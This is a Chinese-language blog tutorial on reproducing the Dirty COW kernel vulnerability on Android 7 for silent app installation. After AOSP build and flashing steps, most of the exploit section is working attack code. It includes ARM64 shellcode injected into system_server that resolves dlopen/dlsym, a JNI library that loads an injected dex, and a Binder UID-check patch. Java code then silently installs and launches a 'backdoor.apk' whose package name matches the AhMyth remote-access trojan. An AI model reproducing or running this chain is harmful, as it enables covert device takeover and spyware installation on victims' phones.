脏牛漏洞安卓复现

脏牛漏洞安卓复现


最近花了一些时间研究如何在Android系统上复现脏牛漏洞以及如何利用脏牛漏洞实现应用的静默安装,中间遇到了许多问题,这里做一个简单的记录与整理。

这篇文章主要介绍整个分析环境的配置过程、漏洞触发后的应用静默安装实现原理、需要用到的调试方法,以及一些可能遇到的问题。

编译可调式安卓系统

准备工具

  1. Ubuntu14.04(官方编译推荐系统版本,推荐使用docker)
  2. Nexus 6P(谷歌亲儿子,刷机什么的比较方便)
  3. 配置要求:内存最好在16G以上(编译Android7.0占用内存会较多)

下载源码

更多细节参考清华大学镜像站

Note:下载可以支持Nexus 6P的版本,具体信息可查看版本编号及支持

配置编译环境

详细过程参考谷歌官方
需要注意的是Android6.0 和Android7.0对openjdk版本要求不同

Note: 一定要严格按照官方的步骤来,这样可以减少编译出错的可能性

编译

编译过程比较慢,推荐使用Ccache + 服务器编译(并没有CCache带来的性能提升进行过实际的对比测试,所以这里可用也可不用)

  • 加载环境变量
    source build/envsetup.sh
  • 选择编译目标
root@94a6988dc437:/data/AOSP/android-7.1.1_r27# lunch

You're building on Linux

Lunch menu... pick a combo:
     1. aosp_arm-eng
     2. aosp_arm64-eng
     3. aosp_mips-eng
     4. aosp_mips64-eng
     5. aosp_x86-eng
     6. aosp_x86_64-eng
     7. full_fugu-userdebug
     8. aosp_fugu-userdebug
     9. mini_emulator_arm64-userdebug
     10. m_e_arm-userdebug
     11. m_e_mips-userdebug
     12. m_e_mips64-eng
     13. mini_emulator_x86-userdebug
     14. mini_emulator_x86_64-userdebug
     15. aosp_dragon-userdebug
     16. aosp_dragon-eng
     17. aosp_marlin-userdebug
     18. aosp_sailfish-userdebug
     19. aosp_flounder-userdebug
     20. aosp_angler-userdebug
     21. aosp_bullhead-userdebug
     22. hikey-userdebug
     23. aosp_shamu-userdebug

Which would you like? [aosp_arm-eng] 20

nexus 6P对应的设备编号是angler,nexus 6的设备编号是shamu。因为userdebug版本拥有原生root及系统调试功能,所以这里选择编译该版本。

  • 开始编译
    编译脚本如下:
#/bin/bash

export USER=root
export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4g"

if [ "$1" != "" -a $1 != "2" ]; then
    make -j$1
else
    make -j2
fi

**Note: **

  1. export USER=root 编译的过程中会用到USER变量
  2. export JACK_SERVER_VM_ARGUMENTS给java虚拟机设置4G内存

线程数根据电脑配置选择,一般为2×CPUs + 2就够了(具体参数可根据实际情况调整)

刷机

编译完成后就可以准备把编译好的系统刷到手机里面了

  • 准备驱动文件
    根据编译的系统版本下载对应的工厂镜像,比如我编译的时候使用的是Android7.1.1_r27,对应的编译版本号为NUF26N。这个版本比较新,可以直接到驱动页面下载。

Note: 对于比较老的版本,驱动页面并没有提供相应的驱动下载,使用从工厂镜像中提取的驱动也不能启动系统,这里暂时没有解决方案,所以临时的解决办法是在比较新的版本上编译调试分析,然后使用工厂镜像在老的系统中测试漏洞效果。当然,如果我们只需要要调试native层的代码,可以编译出对应版本的调试版,然后再去替换掉对应的so库。

脏牛漏洞测试

项目参考VIKIROOT

根据项目介绍,攻击成功后可以获得一个带root权限的shell,但其针对的版本是Android6.0。在Android7.0上并不能得到带root权限的shell,通过调试发现是selinux机制阻挡了这一攻击。事实上Android7.0的selinux的规则比Android6.0上的规则要复杂很多,因此在Android6.0上可以利用成功,但在Android7.0上是失败的。

  • 配置交叉编译环境
    后续的步骤会涉及到三种代码的编译:C、ARM、JAVA
    -- ARM
    编译shellcode
    -- C
    编译JNI调用Java代码
    -- Java
    功能模块,完成后续的应用安装及授权操作

  • 配置NDK patch
    在Android里面Java和C代码的相互调用需要用到jni接口。一般情况下,如果我们开发的是一个正常的app,操作系统会主动给APP提供一个JNIEnv* env的参数。但我们注入的C代码并不具备这样的条件,所以需要调用NDK未公开API——android::AndroidRuntime::getJNIEnv() 来获取jni接口。如果要使用这个接口的话,需要对NDK做一些patch。

  • Java代码打包
    因为后面需要用到dex动态加载,所以先介绍一下如何把class文件打包成dex文件。
    这里为了方便操作以及保证使用Java版本的一致性,先是使用AndroidStudio编译出相应的class文件,并使用jar命令进行打包,然后再使用dx命令将对象转换成dex文件

 13     # compile dex                                                           
 14     rm com -r
 15     cp test/JniLoadDex/app/build/intermediates/classes/debug/com com -r 
 16     jar cvf inject.jar com
 17     dx --dex --output=inject.dex inject.jar

选择注入进程

因为system_server在Android系统中起着至关重要的作用(安装应用、Acitivity管理、其他系统服务等),因此如果能够控制system_server则意味着我们已经可以控制整个系统的运行。

任意Java代码执行

当然,因为shellcode本身并不知道dlopen的函数地址,所以我们第一步需要做的是确定dlopen函数和dlsym函数的地址。

** Note: ** 事实上,我们并不需要首先使用dlopen对加载需要的库,因为系统在启动时已经将对应的库加载了,可以直接使用dlsym(RTLD_NEXT, funcname)去获取对应的函数地址。并且经过测试,发现在Android7.0中使用dlopen会映射新的so库,这就导致无法使用native反调java代码,因为对应的全局变量并没有经过初始化。

如果我们尝试去打印linker段的内存,我们可以看到下面的内容

0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p  /system/bin/linker64

0x7cc9a5e000 <__dl__ZL10g_dl_mutex>:    0x4000  0x0
0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:  0x0 0x0
0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>:    0x7cc99b8208 <__dl_dlerror> 0x0

事实上,vdso和linker之间的偏移量也是固定的

 0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
 0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
0x000000790fee5000 0x000000790fee8000 r--p  /system/bin/linker64
0x000000790fee8000 0x000000790fee9000 rw-p  /system/bin/linker64

**Note: ** 不同版本的系统内存映射可能不太一样,但在Android下面每一个APP都是由Zygote调用fork产生的,所以编写一个APP就可以得到相关的偏移量。另外一个需要注意的问题是,不同版本的系统也会导致linker段上存储__dl_dlopen函数和__dl_symbol函数地址的偏移量发生改变。当然了,这个也可以通过APP来进行预处理。

有了以上的准备之后,就可以加载so库了

//加载so库的shellcode
.equ SYS_OPENAT, 0x38
.equ SYS_WRITE, 0x40
.equ SYS_CLOSE, 0x39

.equ SYS_SOCKET, 0xc6
.equ SYS_CONNECT, 0xcb
.equ SYS_BIND, 0xc8
.equ SYS_LISTEN, 0xc9
.equ SYS_DUP3, 0x18
.equ SYS_CLONE, 0xdc
.equ SYS_EXECVE, 0xdd
.equ SYS_EXIT, 0x5d
.equ SYS_READLINKAT, 0x4e
.equ SYS_GETUID, 0xae
.equ SYS_GETPID, 0xac

.equ AF_INET, 0x2
.equ AF_UNIX, 0x1
.equ O_EXCL, 0x80
.equ O_CREAT, 0x40
.equ O_APPEND, 0x400
.equ S_IRWXU, 0x1c0
.equ O_WRONLY, 0x1
.equ SOCK_STREAM, 0x1

.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ SIGCHLD, 0x11

.equ SHELL_IP, 0x682e020a  //ip:   10.2.46.104
.equ SHELL_PORT, 0x5d11    //port: 4445
.equ LOCALHOST_IP, 0x0100007f  //ip:   127.0.0.1
.equ UID_SYSTEM, 1000

_start:
    // save enviroment
    stp    x0, x1, [sp, #-0x10]!
    // determine whether current process is root 
    // (or some specific) process
    mov    x8, SYS_GETUID
    svc    0
    cmp    w0, UID_SYSTEM
    b.ne   return

    // try openat("/data/lock", O_CREAT|O_EXCL, ?)
    // if failed, exit
    // just for avoiding conflict 
    mov    x0, 0
    adr    x1, lockfile
    mov    x2, O_CREAT|O_EXCL
    mov    x3, S_IRWXU
    mov    x8, SYS_OPENAT
    svc    0
    cmp    w0, #0
    b.le   return
   
    add    sp, sp, #-0x30
    stp    x16, x30, [sp, 0x10]

    adr    x1, 0
    and    x1, x1, #0xfffffffffffff000 

    // offset depends on the addr distance between vdso and .bss section of linker64
    // for example, with vmmap like below
    //     0x000000790fe39000 0x000000790fe3b000 r-xp   [vdso]
    //     0x000000790fe3b000 0x000000790fee5000 r-xp   /system/bin/linker64
    //     0x000000790fee5000 0x000000790fee8000 r--p   /system/bin/linker64
    //     0x000000790fee8000 0x000000790fee9000 rw-p   /system/bin/linker64
    // .bss of linker64 start address is 0x000000790fee8000
    // .text of linker64 start address is 0x000000790fe3b000
    // what's more ? 
    // In the shellcode, we can locate ourself
    // and the offset to vdso end is always 0x1000
    // so the total offset is 0x000000790fe3b000 - 0x000000790fee8000 + 0x1000
    //add    x1, x1, 0xae000
    add    x1, x1, 0x2000

    // now let's go to find dlopen and dlsym
    // in bss setion of linker64 
    // we can find data like below:
    //     0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p   /system/bin/linker64
    //
    //     0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000  0x0
    //     0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>:  0x0 0x0
    //     0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>:  0x0 0x122
    //     0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:   0x0 0x0
    //     0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>:  0x1001000000000 0x7cc99b8368 <__dl_dlopen>
    //     0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>:  0x0 0x1001000000007
    //     0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>:  0x7cc99b85d4 <__dl_dlclose> 0x0
    //     0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>:  0x100100000000f 0x7cc99b8434 <__dl_dlsym>
    //     0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>:  0x0 0x1001000000015
    //     0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
    // so things are pretty easy
    // we just need to add some offset to .bss start address, and then we can get dlopen and dlsym
    add    x2, x1, 0x48  //0x48, 0x88
    ldr    x3, [x2]  //get __dl_dlopen
    add    x2, x1, 0x78  //0x78, 0xb8
    ldr    x4, [x2]  //get __dl_dlsym
    stp    x3, x4, [sp, 0]
    add    x2, x1, 0xa0
    //lhandle = dlopen("target.so", LD_NOW)
    adr    x0, sopath
    mov    x1, 2
    ldr    x3, [sp]
    blr    x3
    str    x0, [sp, 0x20]

    //libentry = dlsym(lhandle, "libentry")
    adr    x1, fun_libentry
    ldr    x3, [sp, #8]
    blr    x3
    blr    x0
    ldp    x16, x30, [sp, 0x10]
    add    sp, sp, #0x30

return:
    ldp    x0, x1, [sp]
    add    sp, sp, 0x10
    mov    x17, x30
    mov    x30, x16
    cmp w0, #0x0
    ccmp    w0, #0x1, #0x4, ne
    br     x17

exit:
    mov    x0, 0
    mov    x8, SYS_EXIT
    svc    0

shell_addr:
    .short AF_INET
    .short SHELL_PORT
    .word  LOCALHOST_IP

lockfile:
    .string "/data/lock"
    .balign 4

sopath:
    .string "/data/libinject.so"
    .balign 4

fun_libentry:
    .string "shellcode"
    .balign

filepath:
    .string "/sdcard/log.txt"
    .balign 4

So库实现代码

#include 
#include 
#include 
#include 
#include 
#include 
#include 

//#define DEBUG

#ifdef __cplusplus
extern "C"
{
#endif

#define  LOG_TAG "haha"
#define  LOGD(fmt, args...)  __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG, fmt, ##args)

#define NULL_CHECK(func_name, result) {                 \
    if (result == 0)                                    \
    {                                                   \
        LOGD("Call function %s failed at line %d", func_name, __LINE__);     \
        kill(getpid(), SIGKILL);                        \
        exit(0);                                        \
    }                                                   \
}

void waitfordebugger()
{
    int i=0;
    while(i < 100000)
    {
        usleep(100000);
        i++;
    }
}

jstring C2JString(JNIEnv *env, char *in) {
    return env->NewStringUTF(in);
}

void loaddex(JNIEnv *env, char *_dexpath)
{
    //查找ClassLoader类并调用静态方法获取系统的classloader对象
    jclass clazzClassLoader = env->FindClass("java/lang/ClassLoader");
    jmethodID mid_getsysloader = env->GetStaticMethodID(clazzClassLoader,
                                                        "getSystemClassLoader",
                                                        "()Ljava/lang/ClassLoader;");
    jobject parent_loader = env->CallStaticObjectMethod(clazzClassLoader, mid_getsysloader);

    //查找DexClassLoader类并且创建对象生成优化后的dex
    jclass clazzDexClassLoader = env->FindClass("dalvik/system/DexClassLoader");
    jmethodID mid_DexClassLoader = env->GetMethodID(clazzDexClassLoader,
                                                    "",
                                                    "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");

    jstring dexpath = C2JString(env, _dexpath);
    jstring odexpath = C2JString(env, "/data/test");
    jobject loader = env->NewObject(clazzDexClassLoader, mid_DexClassLoader,
                                                    dexpath,
                                                    odexpath,
                                                    NULL,
                                                    parent_loader);
    NULL_CHECK("env->NewObject", loader);
    //加载需要注入的class
    jclass classLoaderClass = env->GetObjectClass(loader);
    jmethodID  mid_loadClass = env->GetMethodID(classLoaderClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
    jclass injectClass = (jclass)env->CallObjectMethod(loader, mid_loadClass, C2JString(env, "com.example.bluecake.jniloaddex.inject"));

    //调用入口函数
    jmethodID  mid_test = env->GetStaticMethodID(injectClass, "test", "()V");
    env->CallStaticVoidMethod(injectClass, mid_test);
    return;
}

void* entry(void *arg)
{
    waitfordebugger();
    //do works here
    JavaVM *jvm;
    JNIEnv *env;
    jvm = android::AndroidRuntime::getJavaVM();
    env = android::AndroidRuntime::getJNIEnv();
    if (env != NULL)
        loaddex(env, "/data/inject.dex");
    return ;
}

void shellcode(void)
{
    pthread_t tid;
    pthread_create(&tid, NULL, &entry, NULL);
    return ;
}

#ifdef __cplusplus
}
#endif

到这里,按道理已经可以任意安装了呀,但还有一个问题:应用安装过程是通过一个system_server里面的一个线程来处理的,和这个线程通信的接口是通过binder进行通信。但是,安装服务对发起者有一个限制:应用安装发起者只能是root用户或特定UID(系统内置应用安装软件)。也就是说,我们以system_server的身份发起的应用安装请求会被直接挡掉。

那么,是不是就没有办法了呢?注意到这里使用的脏牛漏洞,所以我们可以修改任意二进制代码,那么只要在触发漏洞前把Binder->getCallingUid给patch掉就行了。一开始直接将返回值修改为零,但是发现system_server会反复崩溃并重启,解决方案是添加一段跳板代码,如果检测到发起方是程序自身,则修改返回值,反之保持现状。

应用安装的代码参考系统安装应用的代码

//Inject.java源码
package com.example.bluecake.installapp;

import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Looper;
import android.util.Log;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Method;

import static android.system.Os.getuid;

/**
 * Created by bluecake on 17-8-16.
 */

public class inject {
    static String do_exec(String cmd) {
        String s = "";
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader in = new BufferedReader(
                    new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                s += line + "/n";
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return s;
    }

    public static void install(final String path)
    {
        Log.i("haha", "start of test");
        new Thread(new Runnable() {
            @Override
            public void run() {
                Log.i("haha", "work thread started");
                try{
                    Looper.prepare();
                    Class atc = Class.forName("android.app.ActivityThread");
                    Method systemMainMethod = atc.getDeclaredMethod("systemMain");
                    Object ActivityThreadInstance = systemMainMethod.invoke(null);
                    Method getSystemContextMethod = atc.getDeclaredMethod("getSystemContext");
                    Context context = (Context)getSystemContextMethod.invoke(ActivityThreadInstance);

                    //开始安装进程
                    PackageManager pm = context.getPackageManager();
                    PackageInstaller packageInstaller = pm.getPackageInstaller();
                    PackageInstaller.Session session = null;
                    String pakagePath = path;
                    File file = new File(pakagePath);

                    PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
                            PackageInstaller.SessionParams.MODE_FULL_INSTALL
                    );
                    params.setAppPackageName("ahmyth.mine.king.ahmyth");
                    params.setInstallLocation(-1);
                    params.setSize(file.length());

                    int sessionid = packageInstaller.createSession(params);
                    InputStream inputStream = new FileInputStream(file);
                    long sizeBytes = file.length();

                    session = packageInstaller.openSession(sessionid);
                    OutputStream outputStream = session.openWrite("PackageInstaller", 0, sizeBytes);

                    int c;
                    byte[] buffer = new byte[65536];
                    while((c = inputStream.read(buffer)) != -1)
                    {
                        outputStream.write(buffer, 0, c);
                    }
                    session.fsync(outputStream);
                    inputStream.close();
                    outputStream.close();

                    // fake intent
                    Context app = context;
                    Intent intent = new Intent(app, AlarmReceiver.class);
                    PendingIntent alarmtest = PendingIntent.getBroadcast(app,
                            sessionid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
                    session.commit(alarmtest.getIntentSender());
                    session.close();
                    Log.i("haha", "ok, here we go");
                }
                catch (Exception e)
                {
                    StringWriter sw = new StringWriter();
                    PrintWriter pw = new PrintWriter(sw);
                    e.printStackTrace(pw);
                    String sStackTrace = sw.toString();
                    Log.i("haha", sStackTrace);
                }
            }
        }).start();
        Log.i("haha", "end of test");
    }
}

//MainActivity.java源码
package com.example.bluecake.installapp;

import android.content.Intent;
import android.content.res.AssetManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import static android.system.Os.getuid;

public class MainActivity extends AppCompatActivity {

    // Used to load the 'native-lib' library on application startup.
    static {
        System.loadLibrary("native-lib");
    }

    public void copyFromAssets(String filename)
    {
        try {
            AssetManager am = getAssets();
            InputStream is = am.open(filename);
            String DataDir = getDataDir().getPath();
            String OutputPath = DataDir + "/" + filename;
            OutputStream os = new FileOutputStream(OutputPath);
            byte flush[]  = new byte[1024];
            int len = 0;
            while(0<=(len=is.read(flush))){
                os.write(flush, 0, len);
            }
            os.close();
            is.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        copyFromAssets("backdoor.apk");
        copyFromAssets("patch");
        String patch_path = getDataDir().getPath() + "/patch";
        inject.do_exec("chmod 777 " + patch_path);

        Button bInstall = (Button)findViewById(R.id.install);
        bInstall.setOnClickListener(
                new View.OnClickListener() {
                    @Override
                    public void onClick(View view) {
                        String patch_path = getDataDir().getPath() + "/patch";
                        String result = inject.do_exec(patch_path + " " + getuid());
                        Log.i("haha", result);

                        String apk_path = getDataDir().getPath() + "/backdoor.apk";
                        inject.install(apk_path);

                        try {
                            Thread.sleep(1000);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }

                        try {
                            String PakageName = "ahmyth.mine.king.ahmyth";
                            String ClassName = "ahmyth.mine.king.ahmyth.MainActivity";
                            Intent intent = new Intent(Intent.ACTION_VIEW);
                            intent.setClassName(PakageName, ClassName);
                            startActivity(intent);
                        }
                        catch (Exception e)
                        {
                            e.printStackTrace();
                        }
                    }
                }
            );
    }

    /**
     * A native method that is implemented by the 'native-lib' native library,
     * which is packaged with this application.
     */
    public native String stringFromJNI();
}

你可能感兴趣的:(脏牛漏洞安卓复现)